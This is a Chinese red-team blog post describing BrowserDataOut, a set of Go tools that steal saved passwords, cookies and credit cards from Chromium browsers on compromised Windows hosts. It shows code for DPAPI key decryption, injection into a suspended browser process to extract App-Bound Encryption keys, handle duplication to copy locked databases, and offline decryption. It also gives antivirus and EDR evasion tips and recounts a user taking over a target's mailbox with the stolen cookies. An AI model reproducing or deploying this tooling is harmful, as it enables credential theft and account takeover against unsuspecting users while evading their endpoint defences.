针对浏览器Cookie和密码提取的免杀研究

admin 2026-09-13 04:38:36 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了一套面向Chromium系浏览器的数据取证工具链browserdataout,由密钥采集、数据复制和离线解密三个独立Go项目组成,实现密钥与数据分离采集、解密在任意机器完成。文章详细阐述了v10和v20密钥的获取原理,包括DPAPI解密和针对Chrome127+的app-boundencryption的反射式注入技术,并声称已稳定绕过多个杀软和EDR环境。内容具有实战价值,但涉及免杀技术。 综合评分: 82 文章分类: 红队,免杀,内网渗透,安全工具,恶意软件


针对浏览器Cookie和密码提取的免杀研究

原创

渊龙Sec安全团队 渊龙Sec安全团队

渊龙Sec安全团队

2026年9月12日 16:57 广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

微信公众号:渊龙Sec安全团队 为国之安全而奋斗,为信息安全而发声! 如有问题或建议,请在公众号后台留言 如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们

1# 概述

本文首发于国家网络空间安全云社区,作者AabyssZG

在实战攻防对抗的过程中,面对的不仅仅只有服务器,还有内网海量的个人主机。而浏览器又作为个人主机重要的日常工作、运维以及娱乐的软件,保存了许多重要网站凭据(如堡垒机、云管理平台、企业面板、OA后台等)。

在实际内网渗透过程中,拿到个人主机的权限(如钓鱼、域控下发)后,个人主机大部分还无法操控鼠标(无RDP服务且会引发目标警觉)以及安装终端防护软件,如何无痕实现针对浏览器中保存的Cookie和账户密码的提取和还原,便成为内网渗透必不可少的一环。

最近就有一个黑暗大门的群友找到我,表示最近在内网渗透过程中,有个重要的凭据存在运维的浏览器中,而目标账号密码又有2FA验证,只能提取Cookie尝试,而该机器上面又安装了EDR,尝试寻找并魔改了一些开源项目都被EDR拦截,想要找我来实现这一个目的。

接到这一个需求后,我自己也在逐步摸索,最终我通过Golang搞定了:BrowserDataOut 是一套面向 Chromium 系浏览器(Chrome、Edge、Brave、Opera、360、QQ 等)数据取证/恢复的 Windows 工具链,由三个独立可编译的 Go 项目组成。

| 项目 | 角色 | 一句话说明 | | — | — | — | | BrowserKeysDump | 采集密钥 | 在目标机器上导出浏览器主密钥(v10/v20)为 keys.json | | BrowserDataCopy | 采集数据 | 浏览器运行期间复制被独占锁定的 CookiesLogin Data 等关键文件 | | BrowserDataRestore | 离线解密 | 用 keys.json 在任意机器上解密复制的数据,输出分类 JSON |

本项目已经提供给不少群友用作测试,目前已经能够稳定在多个杀软和EDR环境下开展作业,如360、火绒、深信服EDR等等。

三个项目解耦、可独立运行,通过统一的数据格式(keys.json + archive 目录布局)无缝衔接,形成一条完整链路:

核心思想是 “密钥与数据分离采集,解密在任意机器完成”

  1. 密钥(v10 DPAPI / v20 ABE)都绑定在原机器上,必须在原机器导出;
  2. 数据文件(SQLite / JSON)可能被运行中的浏览器独占锁定,需要用特殊手段复制出来;
  3. 解密只依赖”密钥 + 数据”,两者同源即可在分析机离线完成。

本项目工具涉及的技术栈如下:

注:本文为笔者在实战过程中写出的随笔,部分思维导图和技术结论出自Kimi大模型,如有错误或者疏漏,欢迎各位师傅指正!

2# BrowserKeysDump:如何拿到密钥

以Chromium为内核的浏览器会把 Cookie、密码、支付信息等敏感数据写入本地SQLite文件(如 CookiesLogin Data ),在这些SQLite文件的 encrypted_value 字段前,会加 3 字节前缀 v10 或 v20,表示后面这段密文是用哪套 os_crypt 方案加密的。真正的密钥则放在用户数据目录下的 Local State(JSON 文件)的 os_crypt 字段里:

  • v10 → os_crypt.encrypted_key
  • v20 → os_crypt.app_bound_encrypted_key(以 APPB 开头)

Chrome 80 之后全面转向 v10,Chrome 127(2024 年 7 月)起在 Windows 上引入 v20,即 App-Bound Encryption(应用绑定加密)

v10/v11/v20密钥的区别如下:

| 版本 | 载体 | 加密算法 | 绑定范围 | 用途 | | — | — | — | — | — | | v10 | Local State 中 os_crypt.encrypted_key,前缀 DPAPI | DPAPI(Windows 用户密钥) | Windows 用户/机器 | 密码、Chrome <127 的 Cookie | | v11 | Linux 下 keyring 派生 | AES-128-CBC | Linux 用户会话 | Linux 密码(本工具为 Windows 专用,不处理) | | v20 | Local State 中 os_crypt.app_bound_encrypted_key,前缀 APPB | App-Bound Encryption(浏览器进程内 IElevator COM 解密) | 浏览器安装(Chrome 127+) | Chrome/Edge 127+ 的 Cookie |

浏览器把加密字段以统一格式存储:

2.1 v10密钥:DPAPI 解密

数据层:统一是 AES-256-GCM(AEAD),密文布局为 v10 ‖ 12字节nonce ‖ 密文+16字节GCM校验tag,base64 后入库。

密钥层(各平台不同):

  • Windows

    encrypted_key 是 base64(“DPAPI” + DPAPI加密后的32字节随机key),用当前用户的 CryptUnprotectData 解出主密钥。

  • macOS

    :主密钥存在 Keychain 的 “Chrome Safe Storage” 条目里。

  • Linux

    :优先走 GNOME Keyring / KWallet,取不到时回退到固定参数:口令 "peanuts" + 盐 "saltysalt",PBKDF2-HMAC-SHA1 迭代 1 次派生 16 字节 key,用 AES-128-CBC 加密(这是 v10 在 Linux 上的特殊之处)。

漏洞本质:DPAPI 只把数据绑定到”机器 + 用户”,不区分同用户下的进程——任何以你身份运行的程序都能调 CryptUnprotectData 把 key 解出来,这也是各种 cookie 窃取工具的惯用路径。

Chromium 把主密钥放在 Local State 的 os_crypt.encrypted_key 中,外层由 Windows DPAPI 保护:

// 去掉 "DPAPI" 前缀后交给 Windows CryptUnprotectData 解密
func&nbsp;decryptDPAPI(ciphertext []byte)&nbsp;([]byte, error)&nbsp;{
&nbsp; &nbsp;&nbsp;var&nbsp;out dataBlob
&nbsp; &nbsp; r, _, err := procCryptUnprotectData.Call(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uintptr(unsafe.Pointer(newBlob(ciphertext))),
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0,&nbsp;0,
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uintptr(unsafe.Pointer(&out)),
&nbsp; &nbsp; )
&nbsp; &nbsp;&nbsp;if&nbsp;r ==&nbsp;0&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;nil, fmt.Errorf("CryptUnprotectData: %w", err)
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;defer&nbsp;procLocalFree.Call(uintptr(unsafe.Pointer(out.pbData)))
&nbsp; &nbsp;&nbsp;return&nbsp;out.bytes(),&nbsp;nil
}
  • 结果是一个 32 字节 AES-256 主密钥
  • DPAPI 由当前 Windows 用户主密钥解密,换机器/换用户即失效——这正是密钥必须在目标机器导出的原因。

2.2 v20密钥:App-Bound Encryption 与反射式注入

v20 的数据体仍然是 AES-256-GCM,变化在密钥的获取链条

  1. 从 Local State 取出 app_bound_encrypted_key,去掉 APPB 头;
  2. 先用 SYSTEM 权限的 DPAPI 解一层(这一层由 SYSTEM 身份运行的 Google Update 提升服务完成,并用 chrome.exe 路径哈希作为 entropy,把密钥”焊死”在官方安装路径上),再用当前用户DPAPI解第二层;
  3. 解出的尾部结构为 [Chrome安装路径][1字节flag][12B IV][32B 密文][16B tag],按 flag 选算法再解一刀,得到最终 32 字节主密钥:
  • flag=1:AES-256-GCM,key 硬编码在 elevation_service.exe
  • flag=2:ChaCha20-Poly1305,同样硬编码;
  • flag=3(v137+):用 CNG 里的 "Google Chromekey1" 解出后 XOR 硬编码常量;
  1. 拿到主密钥后,解密 cookie 本体与 v10 完全相同。

Chrome 127+ 的 Cookie 使用 ABE:app_bound_encrypted_key ,只能由浏览器进程内的 IElevator COM 服务解密。工具的做法是把自己的 payload 注入浏览器进程代劳:

func&nbsp;injectPayload(exePath&nbsp;string, payload []byte, env&nbsp;map[string]string)&nbsp;([]byte, error)&nbsp;{
&nbsp; &nbsp;&nbsp;// 1. 解析 payload 的 PE 导出表,定位 Bootstrap 函数偏移
&nbsp; &nbsp; loaderRVA, _ := findExportFileOffset(payload,&nbsp;"Bootstrap")

&nbsp; &nbsp;&nbsp;// 2. 预填 payload 的导入地址槽(LoadLibraryA/GetProcAddress/VirtualAlloc/...)
&nbsp; &nbsp; writeAddr(impLoadLibraryAOffset, addrLoadLibraryA())
&nbsp; &nbsp; writeAddr(impGetProcAddressOffset, addrGetProcAddress())
&nbsp; &nbsp;&nbsp;// ...

&nbsp; &nbsp;&nbsp;// 3. 以挂起方式启动浏览器(临时 --user-data-dir 隔离)
&nbsp; &nbsp; pi, _, _ := spawnSuspended(exePath)

&nbsp; &nbsp;&nbsp;// 4. 把 payload 写入浏览器进程内存(RWX)
&nbsp; &nbsp; remoteBase, _ := writeRemotePayload(pi.Process, patched)

&nbsp; &nbsp;&nbsp;// 5. 恢复主线程,等待初始化后远程执行 Bootstrap
&nbsp; &nbsp; windows.ResumeThread(pi.Thread)
&nbsp; &nbsp; time.Sleep(500&nbsp;* time.Millisecond)
&nbsp; &nbsp; runAndWait(pi.Process, remoteBase, loaderRVA, defaultWait)

&nbsp; &nbsp;&nbsp;// 6. 从 scratch 区读回 32 字节主密钥
&nbsp; &nbsp; result, _ := readScratch(pi.Process, remoteBase)
&nbsp; &nbsp;&nbsp;return&nbsp;result.Key,&nbsp;nil
}

Payload 与注入器的”通信协议”是 payload 镜像开头的 scratch 区:

偏移 &nbsp; &nbsp; 字段
0x28&nbsp; &nbsp; &nbsp;marker
0x29&nbsp; &nbsp; &nbsp;status&nbsp;(0x1&nbsp;= keyStatusReady)
0x2a&nbsp; &nbsp; &nbsp;errCode
0x2c&nbsp; &nbsp; &nbsp;hResult (COM)
0x30&nbsp; &nbsp; &nbsp;comErr
0x40&nbsp; &nbsp; &nbsp;32&nbsp;字节主密钥

readScratch 一次 ReadProcessMemory 读 56 字节(0x280x60)即可拿到状态与密钥。

2.3 ABE 注入深度细节

payload 导入地址槽(编译期约定,注入前预填)

| 偏移 | 槽位 | | — | — | | 0x40 | LoadLibraryA | | 0x48 | GetProcAddress | | 0x50 | VirtualAlloc | | 0x58 | VirtualProtect | | 0x60 | NtFlushInstructionCache |

注入器在本进程用 kernel32/ntdll 的 LazyProc.Addr() 解析这些 API 的真实地址,写入 payload 镜像后再 WriteProcessMemory,这样 payload 进入远程进程后无需系统加载器即可调用。

Payload 错误码与 HRESULT 对照

errCode: 0x1 basename 提取失败 &nbsp; &nbsp;0x2 浏览器不在 com_iid 表
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x3 环境变量缺失/超长 &nbsp; &nbsp; 0x4 base64 解码失败
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x5 SysAllocString 失败 &nbsp;0x6 CoCreateInstance 失败
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x7 IElevator.DecryptData 失败 &nbsp;0x8 密钥长度 != 32

hResult: 0x80004002 E_NOINTERFACE &nbsp; &nbsp; &nbsp; &nbsp;0x80010108 RPC_E_DISCONNECTED
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x80040154 REGDB_E_CLASSNOTREG &nbsp;0x80070005 E_ACCESSDENIED
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0x800706BA RPC_S_SERVER_UNAVAILABLE

进程生命周期管理

  • spawnSuspended

    :命令行 "" --user-data-dir="<临时目录>"CREATE_SUSPENDED 启动,用临时 User Data 避免污染真实配置;

  • 注入 RWX 内存(MEM_COMMIT|MEM_RESERVE + PAGE_EXECUTE_READWRITE这是 EDR 最敏感的信号之一

  • 恢复主线程后等 500 ms(让浏览器完成基础初始化),再 CreateRemoteThread 执行 BootstrapWaitForSingleObject 默认 30 s;

  • 等待超时且进程仍存活(STILL_ACTIVE=259)时,日志提示”目标存活,疑似 EDR/AV 拦截”;

  • 结束后 TerminateProcess + 2 s 等待,defer 兜底清理远程进程与临时目录。

PE 解析要点

  • detectPEArch

    :读 0x3c 处 PE 签名偏移,校验 PE\0\0,按 machine 字段区分 0x8664(amd64) / 0x014c(386),只接受 amd64;

  • findExportFileOffset

    :PE32+ 可选头从 peOff+24 开始,DataDirectory[0](导出表)在可选头偏移 112;遍历节表做 RVA→文件偏移;

  • 一个隐蔽细节:rva - sectVA + sectRaw 必须保持 uint32 运算——当 rva &lt; sectVA 时靠 uint32 回绕得到正确结果,拆成 int 运算会得到天文数字。

3# BrowserDataCopy:如何复制被锁定的文件

以Chromium为内核的浏览器运行的时候,无法直接通过外部脚本或程序复制 Cookies 等浏览器数据文件,最核心的原因是对其本地数据库施加了独占式文件锁(Exclusive File Lock)

独占式进程锁(File Locking):Chrome 的 Cookie 和历史记录等数据本质上是SQLite数据库。当浏览器启动时,它会作为主进程打开这些文件,并对文件施加独占锁。此时,Windows、macOS 或 Linux 的操作系统底层会保护该文件,禁止其他进程进行读取、修改或复制(报错通常为 PermissionError、文件被占用或无法复制)。

Chrome/Edge 用严格的共享模式打开 SQLite,外部进程 CreateFile 请求共享读写时被拒绝,报 ERROR_SHARING_VIOLATION(32)

3.1 两段式复制

先按常规方式复制,失败了再判断是不是锁定错误;如果是,就去找到浏览器已经打开的那个句柄,把它”借”到当前进程来。

func&nbsp;copyFileSmart(src, dst&nbsp;string)&nbsp;error&nbsp;{
&nbsp; &nbsp;&nbsp;if&nbsp;err := copyNormal(src, dst); err ==&nbsp;nil&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;nil&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 未锁定:普通复制
&nbsp; &nbsp; }&nbsp;else&nbsp;if&nbsp;!isLockError(err) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;err &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 非锁定错误:直接失败
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// 锁定回退:把浏览器的文件句柄复制进当前进程
&nbsp; &nbsp; h, err := findFileHandle(src)
&nbsp; &nbsp;&nbsp;if&nbsp;err !=&nbsp;nil&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;err
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;defer&nbsp;windows.CloseHandle(h)

&nbsp; &nbsp; data, err := readLockedFile(h) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 文件映射读取
&nbsp; &nbsp;&nbsp;if&nbsp;err !=&nbsp;nil&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;err
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;os.WriteFile(dst, data,&nbsp;0o600)
}

3.2 句柄复制(核心技巧)

复制的句柄与浏览器共享同一个 FILE_OBJECT,浏览器能读,我们就能读:共享模式限制就此被绕开。

// 1. NtQuerySystemInformation 枚举全系统句柄
handles, _ := querySystemHandles()

// 2. 找到持有目标文件的进程,把句柄复制到当前进程
for&nbsp;_, h :=&nbsp;range&nbsp;handles {
&nbsp; &nbsp; process, err := windows.OpenProcess(processDupHandle,&nbsp;false,&nbsp;uint32(h.UniqueProcessId))
&nbsp; &nbsp;&nbsp;if&nbsp;err !=&nbsp;nil&nbsp;{&nbsp;continue&nbsp;}
&nbsp; &nbsp; windows.DuplicateHandle(process, windows.Handle(h.HandleValue),
&nbsp; &nbsp; &nbsp; &nbsp; windows.CurrentProcess(), &dup,&nbsp;0,&nbsp;false, duplicateSameAccess)
&nbsp; &nbsp;&nbsp;// 3. 只保留磁盘文件句柄
&nbsp; &nbsp;&nbsp;if&nbsp;ft, _ := windows.GetFileType(dup); ft != fileTypeDisk {&nbsp;continue&nbsp;}
&nbsp; &nbsp;&nbsp;// 4. 用真实路径匹配目标文件
&nbsp; &nbsp; name, _ := finalPathName(dup)
&nbsp; &nbsp;&nbsp;if&nbsp;pathsMatch(name, targetNorm) {&nbsp;return&nbsp;dup,&nbsp;nil&nbsp;}
}

3.3 文件映射读取(不干扰浏览器)

不用 ReadFile 的原因:复制的句柄与浏览器共享文件指针ReadFile 会挪动指针、干扰浏览器;文件映射基于页读取,无副作用。

mapping, _ := windows.CreateFileMapping(h,&nbsp;nil, pageReadonly,&nbsp;0,&nbsp;0,&nbsp;nil)
view, _ &nbsp; &nbsp; := windows.MapViewOfFile(mapping, fileMapRead,&nbsp;0,&nbsp;0,&nbsp;0)
// RtlMoveMemory 直接以 uintptr 形式接收映射地址,避免挪动共享文件指针
procRtlMoveMemory.Call(uintptr(unsafe.Pointer(&data[0])), view,&nbsp;uintptr(size))

3.4 伴生文件

SQLite WAL 模式下最新数据在 -wal 里。工具对 CookiesLogin DataHistoryWeb Data 顺带复制 -wal/-shm

Network/Cookies → Network/Cookies + Network/Cookies-wal + Network/Cookies-shm

3.5 句柄枚举与路径匹配深度细节

SYSTEM_HANDLE_INFORMATION 内存布局(64 位):

偏移&nbsp;0&nbsp; &nbsp; &nbsp; ULONG NumberOfHandles
偏移&nbsp;4&nbsp; &nbsp; &nbsp;&nbsp;4&nbsp;字节对齐填充
偏移&nbsp;8&nbsp; &nbsp; &nbsp; 句柄条目数组,每条&nbsp;24&nbsp;字节:

&nbsp;&nbsp;0x00&nbsp; UniqueProcessId &nbsp; &nbsp; &nbsp;&nbsp;uint16
&nbsp;&nbsp;0x02&nbsp; CreatorBackTraceIndex&nbsp;uint16
&nbsp;&nbsp;0x04&nbsp; ObjectTypeIndex &nbsp; &nbsp; &nbsp;&nbsp;uint8
&nbsp;&nbsp;0x05&nbsp; HandleAttributes &nbsp; &nbsp; &nbsp;uint8
&nbsp;&nbsp;0x06&nbsp; HandleValue &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint16
&nbsp;&nbsp;0x08&nbsp; Object &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;uintptr
&nbsp;&nbsp;0x10&nbsp; GrantedAccess &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;uint32
  • 枚举信息类 SystemHandleInformation = 0x10;缓冲区从 4 MiB 起步,收到 STATUS_INFO_LENGTH_MISMATCH(0xC0000004) 时按系统返回的所需长度扩容重试,上限 512 MiB;

  • 跳过 pid == 0(System Idle)和 pid == 4(System)以及 HandleValue == 0

  • OpenProcess(PROCESS_DUP_HANDLE=0x40)

    → DuplicateHandle(…, DUPLICATE_SAME_ACCESS=0x2)

  • GetFileType

    必须等于 FILE_TYPE_DISK(0x1),排除管道、字符设备等。

路径归一化规则

normalize: &nbsp;/ → \;去掉 \\?\、\??\、\\.\ 前缀;去尾部 \;转小写
pathsMatch: ① 全路径相等 &nbsp;② 互为后缀 &nbsp;③ stableSuffix 相等
stableSuffix: 从 \appdata\ / \programdata\ / \users\public\ 之后截取

用”锚点后缀”而非完整路径比较,是为了兼容 GetFinalPathNameByHandle 返回的 \\?\ 前缀、盘符/大小写差异,以及某些句柄返回设备路径(\Device\HarddiskVolume...)的情况。

文件映射读取参数

CreateFileMapping: PAGE_READONLY(0x2)
MapViewOfFile: &nbsp; &nbsp; FILE_MAP_READ(0x4)
RtlMoveMemory: &nbsp; &nbsp; ntdll 导出,直接以 uintptr 形式接收映射地址

GetFileSizeEx 先取大小,超过 512 MiB 拒绝映射;RtlMoveMemory 把映射视图拷入 Go 切片——刻意绕开 uintptr → unsafe.Pointer 转换(go vet 会报 unsafeptr),同时保证不移动浏览器共享的文件指针。

4# BrowserDataRestore:如何离线解密

本工具主要通过读取 BrowserKeysDump 导出的 keys.json,配合从目标机器拷贝出来的浏览器数据(目录或 zip),在任意机器上还原出密码、Cookie、历史记录、书签等,并输出为按类别聚合的 JSON。

在”采集-恢复”链路中,本工具是恢复端

keys.json ─────────┐
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ├──▶ BrowserDataRestore ──▶ password.json / cookie.json /&nbsp;...
浏览器数据拷贝 ─────┘ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (离线解密) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;history.json / bookmark.json&nbsp;...

特点:

  • 纯标准库

    :不依赖外部库、SQLite 驱动、gjson 等任何第三方包;

  • 跨主机

    :密钥以静态方式注入,解密不依赖目标机器的 DPAPI;

  • 支持 7 类数据

    :password、cookie、history、download、bookmark、creditcard、extension;

4.1 密钥静态注入

keys.json 里的 base64 密钥直接解码为 []byte,恢复过程不再调用 DPAPI/ABE

type&nbsp;MasterKeys&nbsp;struct&nbsp;{
&nbsp; &nbsp; V10 []byte&nbsp;`json:"v10,omitempty"`
&nbsp; &nbsp; V11 []byte&nbsp;`json:"v11,omitempty"`
&nbsp; &nbsp; V20 []byte&nbsp;`json:"v20,omitempty"`
}

因此只要密钥与数据同源,在任意机器都能解密。

4.2 版本前缀分发解密

Chromium 加密字段统一为 版本前缀(3B) + 密文

func&nbsp;decryptValue(mk MasterKeys, ciphertext []byte)&nbsp;([]byte, error)&nbsp;{
&nbsp; &nbsp;&nbsp;switch&nbsp;{
&nbsp; &nbsp;&nbsp;case&nbsp;bytes.HasPrefix(ciphertext, []byte("v10")):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;len(mk.V10) ==&nbsp;32&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;aesGCMDecrypt(mk.V10, ciphertext) &nbsp;// Windows v10
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;aesCBCDecrypt(mk.V10, ciphertext) &nbsp; &nbsp; &nbsp;// macOS/Linux v10
&nbsp; &nbsp;&nbsp;case&nbsp;bytes.HasPrefix(ciphertext, []byte("v11")):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;aesCBCDecrypt(mk.V11, ciphertext) &nbsp; &nbsp; &nbsp;// Linux v11
&nbsp; &nbsp;&nbsp;case&nbsp;bytes.HasPrefix(ciphertext, []byte("v20")):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;aesGCMDecrypt(mk.V20, ciphertext) &nbsp; &nbsp; &nbsp;// Chrome 127+ ABE
&nbsp; &nbsp;&nbsp;default:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ciphertext,&nbsp;nil&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 老版本明文
&nbsp; &nbsp; }
}

func&nbsp;aesGCMDecrypt(key, data []byte)&nbsp;([]byte, error)&nbsp;{
&nbsp; &nbsp; block, _ := aes.NewCipher(key) &nbsp; &nbsp; &nbsp;&nbsp;// 32B key → AES-256
&nbsp; &nbsp; aead, _ &nbsp;:= cipher.NewGCM(block) &nbsp; &nbsp;&nbsp;// NonceSize = 12
&nbsp; &nbsp;&nbsp;return&nbsp;aead.Open(nil, data[3:15], data[15:],&nbsp;nil)
}

密钥与数据不匹配时,aead.Open 返回 cipher: message authentication failed,工具会统计失败数并告警,而不是静默输出空值。

4.3 七类浏览器数据提取方法

| 类别 | 数据源 | 关键处理 | | — | — | — | | password | Login Data → logins | 解密 password_value | | cookie | Network/Cookies (回退 Cookies)→ cookies | 解密 + 剥离 SHA256(host) 前缀 | | history | History → urls | 直接读取 | | download | History → downloads | 直接读取 | | bookmark | Bookmarks JSON | 递归遍历 roots.*.children | | creditcard | Web Data → credit_cards | 解密 card_number_encrypted | | extension | Secure Preferences | 解析 extensions.settings,过滤系统组件 |

4.4 各类数据提取的精确列与排序

logins: &nbsp; &nbsp; &nbsp;origin_url, username_value, password_value, date_created
cookies: &nbsp; &nbsp; name, encrypted_value, host_key, path, creation_utc,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;expires_utc, is_secure, is_httponly, has_expires, is_persistent
urls: &nbsp; &nbsp; &nbsp; &nbsp;url, title, visit_count, last_visit_time
downloads: &nbsp; target_path, tab_url, total_bytes, start_time, end_time, mime_type
credit_cards: guid, name_on_card, expiration_month, expiration_year,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;card_number_encrypted, nickname, billing_address_id

排序策略:password/cookie 按 CreatedAt 降序,history 按 VisitCount 降序,download 按 StartTime 降序,bookmark 按 CreatedAt 降序。

时间转换:Chromium base::Time 是自 1601-01-01 UTC 起的微秒数

const&nbsp;chromiumEpochOffsetMicros&nbsp;int64&nbsp;=&nbsp;11644473600000000
t := time.UnixMicro(epoch - chromiumEpochOffsetMicros).UTC()

扩展解析:依次尝试 extensions.settingssettings.extensionssettings.settings 三个 JSON 路径;跳过 location=5/10 的系统组件;启用态优先看 disable_reasons(空数组=启用),否则回退 state==1

5# 针对免杀过程的一些经验分享

在编写这个项目的过程中,也一步步去解决了工具免杀的一些问题:

  • 在进程注入过程中,进行随机延迟/抖动、进程树与命令行拟真,避免”启动即注入即退出”的模式;
  • 去复制被锁定的文件时,使用CreateFileMapping + MapViewOfFile 比 ReadFile 更加温和,不挪动文件指针,也不触发部分文件读 Hook;
  • 刚开始觉得解密这个过程应该没有什么敏感点,结果发现解密的模块查杀是很严的,感觉杀软检测了很多解密动作,就把解密模块单独拉出来。

但目前尚未解决的问题还有一些,其中的BrowserKeysDump 使用ABE 注入使用”挂起进程 + 远程线程 + RWX 内存”,是典型的进程注入技术,部分强力EDR/杀软会告警。这个问题目前还没有很好的解决方法,如果有大佬有什么比较好的方法可以私聊一下我。

6# 总结

本项目在编写过程中,参考了许多优质的开源项目和文章,感谢以下作者的付出,链接列举如下:

  • https://github.com/moonD4rk/HackBrowserData
  • https://github.com/StarfireLab/SharpWeb
  • https://github.com/QAX-A-Team/BrowserGhost
  • https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81
  • https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8Masterkey%E7%A6%BB%E7%BA%BF%E5%AF%BC%E5%87%BAChrome%E6%B5%8F%E8%A7%88%E5%99%A8%E4%B8%AD%E4%BF%9D%E5%AD%98%E7%9A%84%E5%AF%86%E7%A0%81

BrowserDataOut 的三个项目分别解决链路中的一个痛点和难点:

| 项目 | 解决的痛点难点 | 关键技术 | | — | — | — | | BrowserKeysDump | 密钥被 DPAPI/ABE 双重保护,普通进程拿不到 | DPAPI 解密 + ABE 反射式注入 + PE 导出表解析 + go:embed | | BrowserDataCopy | 运行中的浏览器独占锁定 SQLite,普通复制失败 | NtQuerySystemInformation 句柄枚举 + DuplicateHandle + 文件映射读取 | | BrowserDataRestore | 解密必须依赖目标机器环境,且 SQLite 格式复杂 | 密钥静态注入 + 纯标准库 SQLite 只读解析 + AES-GCM/CBC 分发 |

目前为止,已经完全实现了黑暗大门群友的目的,他也成功通过Cookie导出目标运维邮箱的邮件,并拿到了重要凭据进入了后台,群友后面也给我包了一个大红包作为感谢,太高兴了哈哈~

也感谢各位师傅读到最后,祝你们生活愉快,有什么问题也可以多多交流。


我是曾哥,我在渊龙Sec安全团队等你 微信公众号:渊龙Sec安全团队 欢迎关注我,一起学习,一起进步~ 本篇文章为团队成员原创文章,请不要擅自盗取!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:渊龙Sec安全团队 渊龙Sec安全团队 渊龙Sec安全团队《针对浏览器Cookie和密码提取的免杀研究》

评论:0   参与:  0